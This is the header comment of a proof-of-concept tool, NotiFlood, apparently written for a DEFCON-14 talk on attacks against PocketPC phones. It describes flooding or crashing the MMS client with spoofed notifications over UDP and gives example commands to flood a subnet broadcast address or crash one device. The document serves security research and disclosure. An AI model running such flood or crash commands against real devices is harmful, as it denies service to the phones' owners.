 *
 * NotiFlood is a PoC MMS M-notification.ind flooder written to demo the PocketPC
 * MMS Composer vulnerabilities for my DEFCON-14 talk "Advanced Attacks Against 
 * PocketPC Phones".
 *
 * The tool sends MMS new message notifications to the target PocketPC device over
 * WiFi IP:UDP4:2948. In flood mode the device plays the new message sound for 
 * every received notification. If auto receive is enabled the phone will try to
 * dial-up GPRS in order to receive the message. After receiving a couple 
 * hundred messages the phone randomly freezes or rejects new messages. Further
 * the MMS inbox is filled up with messages that only can be deleted manually
 * one-by-one. In crash mode, each notification crashes the MMS client and
 * therefore actively keeps the user from using the Inbox application while
 * connected to WiFi (the Inbox application also handles email like via POP3 and
 * IMAP).
 *
 * This was tested with WinCE 4.2x and MMS Composer 1.5 and 2.0
 *
 * Examples:
 *  flood all clients in 192.168.1/24:
 *  notiflood -d 192.168.1.255 -n 0
 *
 *  crash client at: 192.168.42.29:
 *  notiflood -d 192.168.42.29 -i 500000 -n 1 -c
